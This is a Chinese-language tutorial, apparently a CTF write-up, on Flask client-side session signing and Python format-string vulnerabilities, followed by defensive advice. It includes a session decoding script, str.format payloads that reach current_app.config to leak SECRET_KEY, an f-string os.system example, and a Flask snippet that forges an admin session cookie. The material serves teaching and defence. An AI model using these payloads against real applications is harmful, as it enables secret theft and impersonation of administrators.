Python Web之flask session&格式化字符串漏洞
字数 1462 2025-08-27 12:33:48

Flask Session 与 Python 格式化字符串漏洞深度解析

一、Flask Session 安全机制与漏洞

1. Flask Session 工作机制

Flask 使用客户端 session 机制,session 数据存储在客户端的 Cookie 中(通过 HTTP 请求头的 Cookie 字段获取),其特点包括:

  • 签名而非加密:Flask 仅对 session 数据进行签名,不进行加密
  • 数据结构:Flask session 由三部分组成,用点号分隔:{数据}.{时间戳}.{签名}
  • 示例eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY

2. Session 解码方法

方法一:使用 itsdangerous 库

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data, timestamp, secret = s.split('.')
int.from_bytes(base64_decode(timestamp), byteorder='big')

方法二:使用 P 师傅的解码脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                       'an exception')
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                           'decoding the payload')
    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

3. Session 安全风险

  • 篡改风险:由于仅签名不加密,攻击者可查看 session 内容
  • 伪造风险:若获取 SECRET_KEY,可伪造任意用户 session
  • 横向越权:通过遍历 ID 可能实现用户信息枚举

二、Python 格式化字符串漏洞

1. Python 四种字符串格式化方式

方式一:% 操作符(C 风格)

name = 'Bob'
'Hello, %s' % name  # "Hello, Bob"

方式二:string.Template

from string import Template
name = 'Bob'
t = Template('Hey, $name!')
t.substitute(name=name)  # 'Hey, Bob!'

方式三:str.format() 方法(存在安全隐患)

name, errno = 'Bob', 50159747054
'Hello, {}'.format(name)  # 'Hello, Bob'
'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)

安全漏洞示例

config = {'SECRET_KEY': '12345'}
class User(object):
    def __init__(self, name):
        self.name = name

user = User('joe')
'{0.__class__.__init__.__globals__[config]}'.format(user)
# 输出: "{'SECRET_KEY': '12345'}"

方式四:f-Strings(Python 3.6+,安全隐患最大)

a, b = 5, 10
f'Five plus ten is {a + b} and not {2 * (a + b)}.'
# 输出: 'Five plus ten is 15 and not 30.'

f'{__import__("os").system("id")}'
# 执行系统命令,输出: uid=0(root) gid=0(root) groups=0(root) '0'

2. 格式化字符串漏洞利用

通过控制格式化字符串,攻击者可:

  • 访问对象的 __class__ 属性
  • 访问类的 __init__ 方法
  • 通过 __globals__ 获取模块全局变量
  • 最终获取敏感配置信息(如 SECRET_KEY

三、实战案例分析

1. 漏洞场景

  • Flask 编写的网站,有注册/登录功能
  • 登录后有 "edit secret" 功能
  • 存在用户信息遍历漏洞(通过修改 id 参数)

2. 漏洞利用步骤

第一步:发现格式化字符串漏洞

在编辑 secret 处发现存在双重格式化:

secret_t = "my secret is {user_m.secret}".format(user_m=user_m)
secret_t = secret_t.format(user_m=user_m)  # 二次格式化,存在漏洞

第二步:构造 Payload 获取 SECRET_KEY

利用 SQLAlchemy 对象继承关系,构造 Payload:

{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}

或官方 writeup 中的 Payload:

{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

第三步:伪造 Admin Session

获取 SECRET_KEY 后,本地伪造 admin session:

from flask import Flask, session

app = Flask(__name__)
app.config['SECRET_KEY'] = '获取到的SECRET_KEY'

@app.route('/flag')
def set_id():
    session['user_id'] = 5  # admin的ID
    return "ok"

app.run(debug=True)

3. 完整攻击链

  1. 利用用户信息遍历漏洞发现 admin 的 ID
  2. 利用格式化字符串漏洞获取 SECRET_KEY
  3. 使用 SECRET_KEY 伪造 admin 的 session
  4. 使用伪造的 session 登录获取 flag

四、防御措施

1. Flask Session 安全加固

  • 不要使用默认的 SECRET_KEY
  • 定期更换 SECRET_KEY
  • 考虑使用服务器端 session 存储
  • 对敏感操作增加二次验证

2. 防止格式化字符串漏洞

  • 避免使用用户输入作为格式化字符串
  • 使用安全的字符串格式化方式(如 string.Template
  • 对用户输入进行严格过滤和转义
  • 使用最新版 Python,避免不必要的功能暴露

五、参考资源

  1. Flask 源码解析: session
  2. 客户端 session 导致的安全问题
  3. Python 格式化字符串漏洞(Django为例)
  4. Python String Formatting Best Practices
Flask Session 与 Python 格式化字符串漏洞深度解析 一、Flask Session 安全机制与漏洞 1. Flask Session 工作机制 Flask 使用客户端 session 机制,session 数据存储在客户端的 Cookie 中(通过 HTTP 请求头的 Cookie 字段获取),其特点包括: 签名而非加密 :Flask 仅对 session 数据进行签名,不进行加密 数据结构 :Flask session 由三部分组成,用点号分隔: {数据}.{时间戳}.{签名} 示例 : eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY 2. Session 解码方法 方法一:使用 itsdangerous 库 方法二:使用 P 师傅的解码脚本 3. Session 安全风险 篡改风险 :由于仅签名不加密,攻击者可查看 session 内容 伪造风险 :若获取 SECRET_KEY ,可伪造任意用户 session 横向越权 :通过遍历 ID 可能实现用户信息枚举 二、Python 格式化字符串漏洞 1. Python 四种字符串格式化方式 方式一:% 操作符(C 风格) 方式二:string.Template 方式三:str.format() 方法(存在安全隐患) 安全漏洞示例 : 方式四:f-Strings(Python 3.6+,安全隐患最大) 2. 格式化字符串漏洞利用 通过控制格式化字符串,攻击者可: 访问对象的 __class__ 属性 访问类的 __init__ 方法 通过 __globals__ 获取模块全局变量 最终获取敏感配置信息(如 SECRET_KEY ) 三、实战案例分析 1. 漏洞场景 Flask 编写的网站,有注册/登录功能 登录后有 "edit secret" 功能 存在用户信息遍历漏洞(通过修改 id 参数) 2. 漏洞利用步骤 第一步:发现格式化字符串漏洞 在编辑 secret 处发现存在双重格式化: 第二步:构造 Payload 获取 SECRET_ KEY 利用 SQLAlchemy 对象继承关系,构造 Payload: 或官方 writeup 中的 Payload: 第三步:伪造 Admin Session 获取 SECRET_KEY 后,本地伪造 admin session: 3. 完整攻击链 利用用户信息遍历漏洞发现 admin 的 ID 利用格式化字符串漏洞获取 SECRET_KEY 使用 SECRET_KEY 伪造 admin 的 session 使用伪造的 session 登录获取 flag 四、防御措施 1. Flask Session 安全加固 不要使用默认的 SECRET_KEY 定期更换 SECRET_KEY 考虑使用服务器端 session 存储 对敏感操作增加二次验证 2. 防止格式化字符串漏洞 避免使用用户输入作为格式化字符串 使用安全的字符串格式化方式(如 string.Template ) 对用户输入进行严格过滤和转义 使用最新版 Python,避免不必要的功能暴露 五、参考资源 Flask 源码解析: session 客户端 session 导致的安全问题 Python 格式化字符串漏洞(Django为例) Python String Formatting Best Practices